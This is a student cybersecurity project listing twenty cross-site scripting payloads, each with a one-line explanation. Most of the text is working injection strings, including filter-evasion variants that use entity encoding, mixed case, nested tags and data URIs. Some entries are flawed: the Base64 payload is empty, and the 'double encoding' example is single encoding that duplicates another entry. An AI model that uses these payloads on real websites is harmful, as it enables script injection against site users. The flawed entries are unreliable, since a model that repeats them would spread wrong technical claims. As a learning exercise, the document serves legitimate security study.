SURE TRUST

MINI PROJECT -2

XSS PAYLOAD DOCUMENTATION

Guided by : PRESENTED BY

Mr.Himaneesh sir K.SAI JAYANTH

Sure Trust Organisation

Cyber Security

INTRODUCTION PAGE NO

1.XSS PAYLOADS PAGE NO -1 TO PAGE NO 4

1. Basic Payload:

html

<script>alert('XSS');</script>

This is a straightforward XSS payload using a <script> tag to generate an alert box.

2.Image Tag Payload:

html

<img src=x onerror=alert('XSS')>

An XSS payload using the onerror attribute of an <img> tag to trigger the alert() function.

3.Event Handler Payload:

html

<button onclick="alert('XSS')">Click me</button>

Demonstrates XSS through an onclick event handler within a <button> tag.

4.Input Tag Payload:

html

<input type="text" value="<script>alert('XSS')</script>">

Injects a script into the value attribute of an <input> tag.

5.Div Tag Payload:

html

<div onmouseover="alert('XSS')">Hover over me</div>

Uses the onmouseover attribute in a <div> tag to execute JavaScript when hovered over.

6.Anchor Tag Payload:

html

<a href="javascript:alert('XSS')">Click here</a>

Attempts to execute JavaScript through the href attribute of an <a> tag.

7.SVG Payload:

html

<svg/onload=alert('XSS')>

Utilizes an <svg> tag's onload attribute to trigger the alert() function.

8.Unicode Obfuscation Payload:

html

<s&#x63;ript>alert('XSS')</script>

Uses Unicode encoding to obfuscate the <script> tag to bypass simple filters.

9.Hex Encoding Payload:

html

<scri&#x70;t>alert('XSS')</script>

Similar to Unicode, uses hexadecimal encoding to obfuscate the <script> tag.

10.Double Encoding Payload:

html

&lt;script&gt;alert('XSS')&lt;/script&gt;

Demonstrates HTML entity encoding by double encoding characters to evade filters.

11.Mixed Case Payload:

html

<sCRipT>alert('XSS')</scRIpT>

Changes the case of the <script> tag to evade basic pattern-matching filters.

12.JavaScript URL Payload:

html

javascript:alert('XSS')

Exploits the javascript: pseudo-protocol within an href attribute.

13.Base64 Encoding Payload:

html

<img src="">

Uses a Base64-encoded SVG image payload to execute JavaScript.

14.CSS Injection Payload:

html

<style>body{background-image:url('javascript:alert("XSS")')}</style>

Injects JavaScript into a CSS style block, attempting to execute within a background-image property.

15.HTML Entity Encoding Payload:

html

&lt;script&gt;alert('XSS')&lt;/script&gt;

Represents the basic XSS payload after HTML entity encoding to evade HTML tag detection.

16.Attribute Injection Payload:

html

<img src="" onerror="javascript:alert('XSS')">

Attempts XSS through an empty src attribute and an onerror event handler.

17.Nested Tag Payload:

html

<<script>script>alert('XSS')</script>/script>

Attempts to bypass filters by nesting the <script> tag within another opening tag.

18.Data URI Payload:

html

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

Utilizes a data URI to embed Base64-encoded JavaScript within an <iframe>.

19.MIME Type Bypass Payload:

html

<svg><script xlink:href="data:,alert('XSS')"></script></svg>

Tries to bypass filters by using the xlink attribute within an SVG tag to execute JavaScript.

20.JavaScript Event Payload:

html

<body onload="alert('XSS')">

Uses the onload event handler in the <body> tag to trigger an alert when the page loads.